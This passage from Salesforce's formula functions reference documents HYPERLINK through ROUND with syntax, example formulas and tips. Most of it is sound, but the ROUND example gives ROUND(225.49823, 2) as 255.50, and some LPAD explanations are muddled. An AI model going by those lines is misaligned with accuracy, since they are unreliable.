or frame in which to display the content. Example: Creating Events


HYPERLINK("00U/e? retURL=%2F006x0000001T8Om&what_id=" & Id, "Create Event")

adds a link called Create Event that, when clicked, creates a new event that is associated with the current object. Phone Dialer
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)creates a linkable phone number field that automatically dials the phone number when clicked. In this example, replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field, Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number to call and the last Phone merge field uses the value of the Phone field as the linkable

text the user clicks to dial. Tips: Hyperlink formula fields are of type text. Include the protocol and URL in quotes as in HYPERLINK("http://www.cnet.com", "cnet").

1250

Customize

Operators and Functions

Avoid using text functions such as LEN, LEFT, or RIGHT on HYPERLINK function results. When linking to Salesforce pages, use a relative link, such as 00U/e?retURL=%..., for hyperlink formulas unless you want to add the formula field to a search layout. Use the complete URL, including the server name and https://, in a hyperlink formula to add it to a search layout. Note that formula fields are not available in search result layouts. Use the $Api variable to reference API URLs. Be sure to remove the brackets, [ and ], from your formula before validating it. The target parameter is optional. If you do not specify a target, the link opens in a new browser window. Some common target parameters are: _blank Displays link in a new unnamed window. _self Displays link in the same frame or window as the element that refers to it. _parent Displays link in the immediate frameset parent of the current frame. This value is the same as _self if the current frame has no parent. _top Displays link in the full original window, canceling any other frames. This value is the same as _self if the current frame has no parent.

For more information on basic HTML tags, consult an HTML reference on the Internet. The HYPERLINK function is available everywhere that you can define a formula except default values, field updates, s-controls, validation rules, approval processes, custom buttons and links, and workflow rules.

IF Description: Use: Determines if expressions are true or false. Returns a given value if true and another value if false.
IF(logical_test, value_if_true, value_if_false) and replace logical_test with the expression you want evaluated; replace value_if_true with the value you want returned if the expression is true; replace value_if_false with the value you want returned

if the expression is false. Formula Field Example: Overdue Payments


IF(AND(Payment_Due_Date__c < TODAY(),Payment_Status__c ="UNPAID") , "PAYMENT OVERDUE", null)

This formula determines if the payment due date is past and the payment status is UNPAID. If so, returns the text PAYMENT OVERDUE and if not, leaves the field blank. This example uses a custom date field called Payment Due Date and a text custom field called Payment Status. Insert Tax Rate

1251

Customize

Operators and Functions

Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the following default value:
IF($User.City = "Napa", 0.0750, IF($User.City = "Paso Robles", 0.0725, IF($User.City = "Sutter Creek", 0.0725, IF($User.City = "Los Olivos", 0.0750, IF($User.City = "Livermore", 0.0875, null ) ) ) ) )

Custom Button Example:


{! IF(Sample.BillingCountry = "US", "http://maps.google.com/maps?q="&Sample.BillingStreet& "+"&Sample.BillingCity&"+"&Sample.BillingState&"+ "&Sample.BillingCountry, (IF(Sample.BillingCountry = "UK", "http://maps.google.co.uk/maps?q="&Sample.BillingStreet &"+"&Sample.BillingCity&"+"&Sample.BillingCountry, "http://maps.google.com"))) }

This example uses the IF function to determine if an address is in the United States or United Kingdom so that it can use the appropriate type of Google map to display the address. Tips: Make sure your value_if_true and value_if_false expressions are the same data type. When using an IF function with the $Profile.UserType variable to determine the type of Salesforce user license the logged in user has, use the following values: Standard for Salesforce PowerPartner for PRM User CustomerSuccess for Customer Portal User PowerCustomerSuccess for Customer Portal Manager

For example, use the following formulas to determine if the logged in user has the license type in quotes:
IF(ISPICKVAL($Profile.UserType ,"Standard"), 100, 0.1) IF(ISPICKVAL($Profile.UserType ,"PowerPartner"), 100, 0.1) IF(ISPICKVAL($Profile.UserType ,"CustomerSuccess"), 100, 0.1)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

1252

Customize

Operators and Functions

IMAGE Description: Use: Inserts an image with alternate text and height/width specifications.
IMAGE(image_url, alternate_text, height, width) and replace image_url with the full path to the image; replace alternate_text with the string of text you want

to appear when the image cant be rendered for some reason, and which can be used by screen reader software; replace height with the vertical size of the image in pixels; replace width with the horizontal size of the image in pixels. Example:
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))

This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo Name on contacts where you can store the contact's Yahoo! Messenger ID. Tips: The height and width parameters are optional. Use a text string to replace the image_url and alternate_text parameters. Surround each text string in quotes. Use numbers to replace the height and width parameters. Add images to your Documents tab if you want to display them elsewhere. For example, store the image of a product in a document folder, copy the URL to the document, and paste that URL in the image_url parameter of a formula field on the Products tab. If you use Internet Explorer, you may need to change your security settings so that it does not display a warning prompt when images use HTTP protocol. See the online help for Internet Explorer for instructions on changing your security settings. The IMAGE function cannot include the GETSESSIONID function as one of its arguments. The IMAGE function is available only in formula fields and email templates.

INCLUDE Description: Use: S-Control Example: Returns content from an s-control snippet. Use this function to reuse common code in many s-controls.
{!INCLUDE(source, [inputs])} and replace source with the s-control snippet you want to reference. Replace inputs with any information you need to pass to the snippet.

Including Header Snippet


<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title", theme = "modern"])} </body> </html>

This example references a snippet that provides a header for a page that you created to display in a Web tab. It displays the page title My Title. Use the $SControl global variable to reference a custom s-control.

1253

Customize

Operators and Functions

Including Input Parameters Use the following two examples to see how you can create a reusable snippet and include it in an s-control.
<h2 class={!$Request.titleTheme}.title>{!$Request.titleText}</h2>

This snippet requires two input parameters: titleTheme and titleText. It is a reusable HTML tag that presents a page title and theme based on input parameters. Next, create an s-control that includes this snippet:
<html> <head> </head> <body> {! INCLUDE($SControl.Title_Snippet, [titleTheme = "modern", titleText = "My Sample Title"]) } ... Insert your page specific content here ... </body> </html>

This s-control uses the snippet titled Title_Snippet to display the title of the page My Sample Title and modern theme. Replace Insert your page specific content here with your own HTML content and use the s-control as the source of a Web tab to create your own pages in Salesforce. Tips: Because this function references an s-control snippet and does not copy it, it always runs the latest content of the s-control snippet. Remember when making a change to your s-control snippet that it affects all INCLUDE functions that refer to it. Use the $Request global variable to access any information inside the snippet. This function is only available in custom buttons, links, and s-controls.

INCLUDES Description: Use: Determines if any value selected in a multi-select picklist field equals a text literal you specify.
INCLUDES(multiselect_picklist_field, text_literal) and replace multiselect_picklist_field with the merge field name for the multi-select picklist; and replace text_literal with the multi-select picklist value you want to match in quotes. INCLUDES(Hobbies__c, "Golf") returns TRUE if one of the selected values in the Hobbies custom multi-select picklist field is Golf.

Examples: Tips:

The text_literal expression must be of type text and enclosed in quotes. It cannot be a merge field or the result of a function. Salesforce returns an error if any of the following occurs: You do not provide a text_literal expression. You provide an empty text_literal expression, such as "" or " ".

Use ISNULL to determine if a multi-select picklist field is empty.

1254

Customize

Operators and Functions

Use the PRIORVALUE function inside the INCLUDES function to check if the previous value of a multi-select picklist field included a specific value. For example:
INCLUDES( PRIORVALUE(multiselect_picklist_field), text_literal )

ISBLANK Description: Use: Example:


(IF(ISBLANK(Maint_Amount__c), 0, 1) + IF(ISBLANK(Services_Amount__c), 0,1) + IF(ISBLANK(Discount_Percent__c), 0, 1) + IF(ISBLANK(Amount), 0, 1) + IF(ISBLANK(Timeline__c), 0, 1)) / 5

Determines if an expression has a value and returns TRUE if it does not. If it contains a value, this function returns FALSE.
ISBLANK(expression) and replace expression with the expression you want evaluated.

This formula takes a group of fields and calculates what percent of them are being used by your personnel. This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing. Tips: Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the same functionality as ISNULL, but also supports text fields. Salesforce will continue to support ISNULL, so you do not need to change any existing formulas. A field is not empty if it contains a character, blank space, or zero. For example, a field that contains a space inserted with the spacebar is not empty. Use the BLANKVALUE function to return a specified string if the field does not have a value; use the ISBLANK function if you only want to check if the field has a value. If you use this function with a numeric field, the function only returns TRUE if the field has no value and is not configured to treat blank fields as zeroes.

ISCHANGED Description: Use: Validation Rule Example: Compares the value of a field to the previous value and returns TRUE if the values are different. If the values are the same, this function returns FALSE.
ISCHANGED(field) and replace field with the name of the field you want to compare.

The following validation rule prevents users from changing an object name after it has been created: NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority), ISPICKVAL(Priority, Low))) is a validation rule that ensures if a user changes the Priority of a case, the new priority cannot be Low.

1255

Customize

Operators and Functions

NOT(AND(ISCHANGED(CloseDate), OR(MONTH(CloseDate) <> MONTH(TODAY()), YEAR(CloseDate) <> YEAR(TODAY())),$Profile.Name <> "Sales Manager")) is a validation rule that prevents a user from changing the Close Date of an opportunity

to a date outside of the current month and year unless that user has the Sales Manager profile. Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

Tips:

This function is available only in: Assignment rules Validation rules Field updates Workflow rules if the evaluation criteria is set to Evaluate the rule when a record is: created, and every time its edited.

Use the NOT function to reverse the return values of TRUE and FALSE. This function returns FALSE when evaluating any field on a newly created record. If a text field was previously blank, this function returns TRUE when it contains any value. For number, percent, or currency fields, this function returns TRUE when: The field was blank and now contains any value The field was zero and now is blank The field was zero and now contains any other value

ISNEW Description: Use: Validation Rule Example: Checks if the formula is running during the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE.
ISNEW()

Use the following validation rule to prevent users from creating a record with a close date in the past. AND (ISNEW(), CloseDate < TODAY()) checks if the user is creating a new opportunity and, if so, ensures that the Close Date is today or after today. Use this validation rule to ensure users add at least one product to an opportunity after they have created it.
NOT(OR(ISNEW(),HasOpportunityLineItem))

In this example, the validation rule formula displays the following error message when an existing opportunity does not have any products: You must add products to this opportunity before saving. This does not display an error on the initial save because they cannot add products until after saving the record initially; but it prevents them from resaving or closing an opportunity that does not contain products. Tips: This function is available only in validation rules, field updates, workflow rules, and assignment rules.

1256

Customize

Operators and Functions

Use the NOT function to reverse the return values of TRUE and FALSE. This function always returns FALSE when used in a workflow rule with a time-based trigger. This function always returns FALSE when used in a field update for an approval action.

ISNULL Description: Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value, this function returns FALSE. Note: Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the same functionality as ISNULL, but also supports text fields. Salesforce will continue to support ISNULL, so you do not need to change any existing formulas. Use: Example:
(IF(ISNULL(Maint_Amount__c), 0, 1) + IF(ISNULL(Services_Amount__c), 0,1) + IF(ISNULL(Discount_Percent__c), 0, 1) + IF(ISNULL(Amount), 0, 1) + IF(ISNULL(Timeline__c), 0, 1)) / 5

ISNULL(expression) and replace expression with the expression you want evaluated.

This formula takes a group of fields and calculates what percent of them are being used by your personnel. This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing. Validation Rule Example:
AND(ISPICKVAL(StageName, "Closed Won"), ISNULL(Project_Start_Date__c))

This validation rule makes the Project Start Date custom date field conditionally required whenever the stage is Closed Won. Tips: Text fields are never null, so using this function with a text field always returns false. For example, the formula field IF(ISNULL(new__c) 1, 0) is always zero regardless of the value in the New field. For text fields, use the ISBLANK function instead. Multi-select picklist fields are never null in s-controls, buttons, and email templates, so using this function with a multi-select picklist field in those contexts always returns false. Empty date and date/time fields always return true when referenced in ISNULL functions. Choose Treat blank fields as blanks for your formula when referencing a number, percent, or currency field in an ISNULL function. Choosing Treat blank fields as zeroes gives blank fields the value of zero so none of them will be null. Merge fields can be handled as blanks, which can affect the results of components like s-controls because they can call this function. When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include fields that do not contain any value. For example, to

1257

Customize

Operators and Functions

validate that a custom field contains a value of '1,' use the following validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)

ISNUMBER Description: Use: Validation Rule Example:


OR(LEN(Bank_Account_Number__c) <> 10, NOT(ISNUMBER(Bank_Account_Number__c)))

Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns FALSE.
ISNUMBER(text) and replace text with the merge field name for the text field.

This validation rule ensures a custom text field called Bank Account Number is a number of 10 digits and is not blank. Tips: This function returns FALSE for blank values. The ISNUMBER function is not aware of your locale. For example, ISNUMBER("123,12") and ISNUMBER("1 000") return FALSE even if the user's locale is French. Chinese, Japanese, Korean, and special characters including a space return FALSE. The ISNUMBER function returns TRUE for scientific formatting such as 2E2 or 123.123.

ISPICKVAL Description: Use: Determines if the value of a picklist field is equal to a text literal you specify.
ISPICKVAL(picklist_field, text_literal) and replace picklist_field with the merge field name for the picklist; replace text_literal with the picklist value in quotes. text_literal cannot be a merge field or the result of a function.

Examples:

Contract Activation
IF(ISPICKVAL(Status, "Activated"), NOW()-ActivatedDate, null) calculates

the number of days since the contract was activated. If the contract status is not Activated, this field is blank. Commission Amounts
IF(ISPICKVAL(StageName, "Closed Won"), ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any opportunity that has a Closed Won stage. The value of this field will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.

1258

Customize

Operators and Functions

Competitor-Triggered Workflow
ISPICKVAL(Stage, Closed Lost) && INCLUDES(Competitor__c, Acme)

This formula in a workflow rule configures Salesforce to trigger the associated workflow actions if the Competitor multi-select picklist field on a lost business is Acme. Tips: Replace picklist_field with a custom or standard field of type picklist. Your text_literal expression must be of type text and enclosed in quotes. It cannot be a merge field or the result of a function. Use CASE functions to determine if a picklist value is equal to a particular value. When using the ISPICKVAL function to return the previous value of a picklist field, include the PRIORVALUE function inside the ISPICKVAL function as in this example:
ISPICKVAL(PRIORVALUE (picklist_field), text_literal)

JSENCODE Description: Use: Example: Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
{!JSENCODE(text)} and replace text with the merge field or text string that contains

the unsafe JavaScript characters. If the merge field foo__c contains <B>Enter the user's name<b>, {!JSENCODE(foo__c)} results in: \u003CB\u003EEnter the user\'s
name\u003C\/b\u003E

Tips:

This function is only available in custom buttons and links.

JSINHTMLENCODE Description: Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents.
{!JSINHTMLENCODE(text)} and replace text with the merge field or text string that

Use: Example:

contains the unsafe JavaScript characters. If the merge field foo__c contains <B>Enter the user's name<b>, {!JSINHTMLENCODE(foo__c)} results in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

Tips:

This function is only available in custom buttons and links.

1259

Customize

Operators and Functions

LEFT Description: Use: Example: Returns the specified number of characters from the beginning of a text string.
LEFT(text, num_chars) and replace text with the field or expression you want returned; replace num_chars with the number of characters from the left you want returned. TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

This formula displays the first five characters ofta name and the last four characters of a social security number separated by a dash. Note that this example uses a text custom field called SSN. Tips: Reference auto-number fields as text fields in formulas. If the num_chars value is less than zero, Salesforce replaces the value with zero.

LEN Description: Use: Example: Returns the number of characters in a specified text string.
LEN(text) and replace text with the field or expression whose length you want returned. LEN(PartNumber__c)

This formula returns the number of characters in a Product Code field.

LINKTO Description: Use: Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control or Salesforce page.
{!LINKTO(label, target, id, [inputs], [no override]} and replace label with the text for the link, target with the URL, and id with a reference to the record.

Inputs are optional and can include any additional parameters you want to add to the link. The no override argument is also optional and defaults to false. It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace no override with true when you want to display a standard Salesforce page regardless of whether you have defined an override for it elsewhere. S-Control Example: New Account S-Control
<html> <body> {!LINKTO("Create a New Account", $Action.Account.New, $ObjectType.Account)} </body> </html>

This example allows users to click a link to create a new account. It is useful in account list views or Web tabs where you want users to create an account directly from that page. Use the $Action global variable to access the new account page in Salesforce.

1260

Customize

Operators and Functions

New Email Window S-Control


<html> <body> {!LINKTO("Email link", "mailto:support@yourcompany.com?subject=Please%20Help")}; </body> </html>

This example launches a new email window addressed to support@yourcompany.com with the subject Please Help whenever a user clicks Mail link. Link to Another S-Control
<html> <body> {!LINKTO("Check for duplicates", $Scontrol.dedup_account, Account.Id)} </body> </html>

Use this example to generate a page containing a hyperlink labeled Check for duplicates. When users click this link, Salesforce runs your custom s-control. This example assumes you have already created a custom s-control to find duplicate accounts and merge their information. Tips: Avoid using this function in an inline s-control if you want it to open in a new window. Enclose multiple inputs in brackets to indicate they are together:
{!LINKTO("View Case", $Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

Set inputs to null if you do not have any to pass yet you want to set the no override argument:
{!LINKTO("View Case", $Action.Case.View, Case.Id, null, true)}

When you override the tab home page for a standard or custom tab, set target to the Tab $Action global variable and id to the object type. For example,
LINKTO("Accounts Tab", $Action.Account.Tab, $ObjectType.Account)

This function is only available in custom buttons, links, and s-controls.

LN Description: Use: Example: Returns the natural logarithm of a specified number. Natural logarithms are based on the constant e value of 2.71828182845904.
LN(number) and replace number with the field or expression for which you want the natural

logarithm. Note: the LN function is the inverse of the EXP function.


LN(10) returns the natural logarithm of 10, which is 2.30. LN(Value__c) returns the natural logarithm of a custom number field called Value.

1261

Customize

Operators and Functions

LOG Description: Use: Example: Returns the base 10 logarithm of a number.


LOG(number) and replace number with the field or expression from which you want the

base 10 logarithm calculated. Salary


LOG(Salary__c) calculates the logarithm of a persons salary. In this example, Salary is

a custom currency field. Hydrogen


-LOG(Hydrogen__c) calculates the pH and acidity using the LOG function and a custom number field called Hydrogen, which represents the concentration of Hydrogen ions in the

liquid measured in moles per liter.

LOWER Description: Use: Converts all letters in the specified text string to lowercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided.
LOWER(text, [locale]) and replace text with the field or text you wish to convert to lowercase, and locale with the optional two-character ISO language code or five-character

locale code, if available. For information on supported languages, see What languages does Salesforce support? on page 3729. Example: MYCOMPANY.COM
LOWER("MYCOMPANY.COM") returns mycompany.com.

Ticker Symbol
LOWER(TickerSymbol) returns the text in Ticker Symbol in lower case characters.

Applying Turkish Language Locale Rules The Turkish language has two versions of the letter i: one dotted and one dotless. The locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless I to be lowercase. To correctly use the LOWER() function with the Turkish language locale, use the Turkish locale code tr in the LOWER() function as follows:
LOWER(text, "tr")

This ensures that Salesforce does not transform any dotted i in the text to a dotless I.

LPAD Description: Use: Inserts characters you specify to the left-side of a text string.
LPAD(text, padded_length[, pad_string]) and replace the variables:

text is the field or expression you want to insert characters to the left of. padded_length is the number of total characters in the text that will be returned. pad_string is the character or characters that should be inserted. pad_string is

optional and defaults to a blank space.

1262

Customize

Operators and Functions

If the value in text is longer than pad_string, text is truncated to the size of padded_length. Example: Field Name: Padding
LPAD(Name, 20) truncates the Name field after 20 characters. For example, if the name is mycompany.com, the value returned is "mycompany.com."

My_Company: No Change
LPAD('my_company.com', 14, 'z') returns my_company.com without change

because it has 14 characters. Field Name Padded with Z


LPAD(Name, 15, 'z') returns the name zmycompany.com.

Field Name: Truncating


LPAD(Name, 2) truncates the name after the second character. For example, if the name is mycompany.com, the value returned is my.

Tips:

Leading blank spaces and zeros are omitted.

MAX Description: Use: Example: Returns the highest number from a list of numbers.
MAX(number, number,...) and replace number with the fields or expressions from which

you want to retrieve the highest number. Service Charge


MAX(0.06 * Total_Cost__c, Min_Service_Charge__c)

In this example, the formula field calculates a service charge of 6% of the total cost or a minimum service charge, whichever is greater. Note that Min Service Charge is a custom currency field with a default value of $15. However, you could make it a formula field if your minimum service charge is always the same amount. Book Royalties
MAX(0.10 * Pages__c, (Retail_Price__c * 0.07) * Total_Sold__c)

This formula determines which amount to pay in royalties for a book. It displays the greater of two amounts: $0.07 for each book sold or $0.10 per page. It assumes you have custom number fields for Pages and Total Sold and a custom currency field for Retail Price. Commissions
MAX($User.Commission_Percent__c * Price, Price * Account_Discount__c, 100)

This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom percent fields on users and assets.

1263

Customize

Operators and Functions

MID Description: Use: Returns the specified number of characters from the middle of a text string given the starting position.
MID(text, start_num, num_chars) and replace text with the field or expression to use when returning characters; replace start_num with the number of characters from the left to use as a starting position; replace num_chars with the total number of characters to

return. Example:
MID(Division, 3, 4) returns four characters of the Division name beginning with

the third character from the left. On a user record, this represents the department code.

MIN Description: Use: Example: Returns the lowest number from a list of numbers.
MIN(number, number,...) and replace number with the fields or expressions from which

you want to retrieve the lowest number. 401K Matching


MIN(250, Contribution__c /2)

This example formula determines which amount to provide in employee 401K matching based on a matching program of half of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution. Bonus
MIN(Gross__c * Bonus_Percent__c, Performance__c / Number_of_Employees__c)

This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the employee's Gross and company's Performance.

MOD Description: Use: Example: Returns a remainder after a number is divided by a specified divisor.
MOD(number, divisor) and replace number with the field or expression you want divided; replace divisor with the number to use as the divisor. MOD(3, 3) returns 0 MOD(4, 3) returns 1 MOD(123, 100) returns 23

1264

Customize

Operators and Functions

You may want to prevent users from scheduling meetings on a Saturday or Sunday. Use the following example to apply a validation rule to a custom date field calledMy Date.
CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7), 0, 0, 6, 0, 1) = 0

This example displays the following error message when the value of My Date is not Monday through Friday: My Date is not a weekday.

MONTH Description: Use: Example: Returns the month, a number between 1 (January) and 12 (December) in number format of a given date.
MONTH(date) and replace date with the field or expression for the date containing the

month you want returned. SLA Expiration


MONTH(SLAExpirationDate__c) returns the month that your service-level agreement expires. This example uses a custom date field called SLA Expiration Date.

Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the month

of February would be the value 2.

NOT Description: Use: Example: Returns FALSE for TRUE and TRUE for FALSE.
NOT(logical) and replace logical with the expression that you want evaluated. IF(NOT(ISPICKVAL(Status, "Closed")), ROUND(NOW()-CreatedDate, 0), null checks to see if a variable is open and if so, calculates the number of days it has been

open by subtracting the date and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the variable is not open, this field is blank.

NOW Description: Use: Example: Returns a date/time representing the current moment.
NOW() IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the lead is not open, this field is blank.

1265

Customize

Operators and Functions

Tips:

Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use a date/time field in a NOW function instead of a date field. Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a date field. Use TODAY if you prefer to use a date field. Dates and times are always calculated using the users time zone. Use addition and subtraction operators with a NOW function and other date/time fields to return a number, representing number of days. For example NOW() - CreatedDate calculates the number of days since the created date of a record. In this example, the formula field data type is a number. Use addition and subtraction operators with a NOW function and numbers to return a date and time. For example NOW() +5 calculates the date and time five days ahead of now. In this example, the formula field data type is a date/time.

NULLVALUE Description: Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression. Note: Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE has the same functionality as NULLVALUE, but also supports text fields. Salesforce will continue to support NULLVALUE, so you do not need to change existing formulas. Use:
NULLVALUE(expression, substitute_expression) and replace expression with the expression you want to evaluate; replace substitute_expression with the value you

want to replace any blank values. Example:


(NULLVALUE(Sample_Due_Date__c, StartDate +5)

This formula returns the date five days after the start date whenever Sample Due Date is blank. Sample Due Date is a custom date field. Tips: Avoid using this function with text fields because they are never null even when they are blank. Instead, use the BLANKVALUE function to determine if a text field is blank. Choose Treat blank fields as blanks for your formula when referencing a number, percent, or currency field in a NULLVALUE function. Choosing Treat blank fields as zeroes gives blank fields the value of zero so none of them will be null. Use the same data type for both the expression and substitute_expression.

OR Description: Use: Determines if expressions are true or false. Returns TRUE if any expression is true. Returns FALSE if all expressions are false. Use this function as an alternative to the operator || (OR).
OR(logical1, logical2...) and replace any number of logical references with the

expressions you want evaluated.

1266

Customize

Operators and Functions

Formula Field Example:

IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")), ROUND(NOW()-CreatedDate, 0), null)

This formula returns the number of days a case has been open if the Status is new or the Priority is high. If the case was opened today, this field displays a zero. Validation Rule Example:
OR(Sample_Rate__c < 0, Sample_Rate__c > 0.40)

This validation rule formula displays the following error message when the Sample Rate custom field is not between 0 and 40%: SampleRate cannot exceed 40%.

PARENTGROUPVAL Description: This function returns the value of a specified parent grouping. A parent grouping is any level above the one containing the formula. You can only use this function in custom summary formulas for reports. Summary and Joined: PARENTGROUPVAL(summary_field, grouping_level) Matrix: PARENTGROUPVAL(summary_field, parent_row_grouping,
parent_column_grouping)

Use:

Where summary_field is the summarized field value, grouping_level is the parent level for summary reports, and parent_row_level and parent_column_level are the parent levels for matrix reports. Example:
TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)

This formula calculates, for each product, its relative size compared to the grand total. In this example, the report is a summary of opportunities and their products, grouped by Product Name.

PREVGROUPVAL Description: This function returns the value of a specified previous grouping. A previous grouping is one that comes before the current grouping in the report. Choose the grouping level and increment. The increment is the number of columns or rows before the current summary. The default is 1; the maximum is 12. You can only use this function in custom summary formulas for reports.

1267

Customize

Operators and Functions

Use:
PREVGROUPVAL(summary_field, grouping_level [, increment])

Where summary_field is the name of the grouped row or column, grouping_level is the summary level, and increment is the number of rows or columns previous. Example:
AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)

This formula calculates, for each month, the difference in amount from the previous month shown in the report. In this example, the report is an opportunity matrix with columns grouped by Close Date and rows by Stage.

PRIORVALUE Description: Use: Validation Rule Example: Tips: Returns the previous value of a field.
PRIORVALUE(field)

The following validation rule prevents users from changing the expected revenue of an opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed). This function is available only in: Assignment rules Validation rules Field updates Workflow rules if the evaluation criteria is set to Evaluate the rule when a record is: created, and every time its edited.

This function does not return default values. When users create a new record, this function returns the value of the field referenced rather than null. For example, if you create an account named Acme, PRIORVALUE(Account.Name) returns Acme. When using the ISPICKVAL function to return the previous value of a picklist field, include the PRIORVALUE function inside the ISPICKVAL function as in this example:
ISPICKVAL(PRIORVALUE (picklist_field), text_literal)

Use the PRIORVALUE function inside the INCLUDES function to check if the previous value of a multi-select picklist field included a specific value. For example:
INCLUDES( PRIORVALUE(multiselect_picklist_field), text_literal )

1268

Customize

Operators and Functions

REGEX Description: Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules.
REGEX(text, regex_text) and replace text with the text field, and regex_text with

Use: Validation Rule Example:

the regular expression you want to match. This example ensures that a custom field called SSN matches a regular expression representing a valid social security number format of the form 999-99-9999.

NOT( OR( LEN (SSN__c) = 0, REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}") ) )

Tips:

Regular expression syntax is based on Java Platform SE 6 syntax. However, backslash characters (\) must be changed to double backslashes (\\) because backslash is an escape character in Salesforce. The Salesforce regular expression engine matches an entire string as opposed to searching for a match within a string. For example, if you are searching for the name Marc Benioff, use the regular expression, .*Marc Benioff.*, to find a match in a string like the following:
According to Marc Benioff, the social enterprise increases customer success.

If you use the regular expression, Marc Benioff, the only string that this regular expression will match is:
Marc Benioff

Capture groups and substitutions are ignored. This function is available everywhere formulas exist except formula fields and custom buttons and links.

REQUIRESCRIPT Description: Use: Returns a script tag with source for a URL you specify. Use this function when referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
{!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.

For the AJAX Toolkit:


{!requireScript("/soap/ajax/13.0/connection.js")}

1269

Customize

Operators and Functions

Returns:
<script src="/soap/ajax/13.0/connection.js"></script>

For Dojo:
{!requireScript("/js/dojo/0.3.1/dojo.js")}

Returns:
<script src="/js/dojo/0.3.1/dojo.js"></script>

Custom Button Example:


{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")} var c = new sforce.SObject("Case"); c.id = "{!Case.Id}"; c.Status = "New"; result = sforce.connection.update([c]); window.location.reload();

This example sets the Status of a case to New whenever a user clicks a custom button from the case detail page. To set this up in your organization, define a custom button for cases that has the following attributes:
Display Type is Detail Page Button Behavior is Execute JavaScript Content Source is OnClick JavaScript

Next, paste the content above into your custom button definition and add it to your case page layouts. Tips: Use global variables to access special merge fields for s-controls. Use this function when creating custom buttons or links where you have set the Behavior to Execute JavaScript and Content Source to OnClick JavaScript because the script tag should be outside the OnClick code. This function is only available for custom buttons and links that have Content Source set to OnClick JavaScript. When working in Visualforce, use INCLUDESCRIPT instead.

RIGHT Description: Use: Example: Returns the specified number of characters from the end of a text string.
RIGHT(text, num_chars) and replace text with the field or expression you want returned; replace num_chars with the number of characters from the right you want returned. TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) displays the first five

characters of the a name and the last four characters of asocial security number separated by a dash. Note that this assumes you have a text custom field called SSN. Tips: Reference auto-number fields as text fields in formulas. If the num_chars value is less than zero, Salesforce replaces the value with zero.

1270

Customize

Operators and Functions

ROUND Description: Use: Returns the nearest number to a number you specify, constraining the new number by a specified number of digits.
ROUND(number, num_digits) and replace number with the field or expression you want rounded; replace num_digits with the number of decimal places you want to consider when

rounding. Example:
ROUND (1.5, 0) = 2 ROUND (1.2345, 0) = 1 ROUND (-1.5, 0) = -2 ROUND (225.49823, 2) = 255.50

Simple Discounting
